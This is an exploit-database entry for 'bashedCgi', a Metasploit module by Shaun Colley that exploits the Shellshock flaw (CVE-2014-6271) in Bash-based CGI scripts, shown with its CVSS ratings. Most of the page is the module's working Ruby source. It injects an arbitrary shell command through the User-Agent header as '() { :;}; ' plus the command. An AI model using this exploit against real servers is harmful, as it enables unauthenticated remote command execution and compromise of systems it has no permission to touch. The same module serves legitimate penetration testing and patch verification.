bashedCgi Remote Command Execution

2014.09.26
Credit: Shaun Colley
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'bashedCgi', 'Description' => %q{ Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command. }, 'Author' => [ 'Shaun Colley <scolley at ioactive.com>' ], # metasploit module 'Author' => [ 'Stephane Chazelas' ], # vuln discovery 'License' => MSF_LICENSE, 'References' => [ 'CVE', '2014-6271' ], 'Targets' => [ [ 'cgi', {} ] ], 'DefaultTarget' => 0, 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'PAYLOAD' => 0 } )) register_options( [ OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']), OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit']) ], self.class) end def run res = send_request_cgi({ 'method' => 'GET', 'uri' => datastore['TARGETURI'], 'agent' => "() { :;}; " + datastore['CMD'] }) if res && res.code == 200 print_good("Command sent - 200 received") else print_error("Command sent - non-200 reponse") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top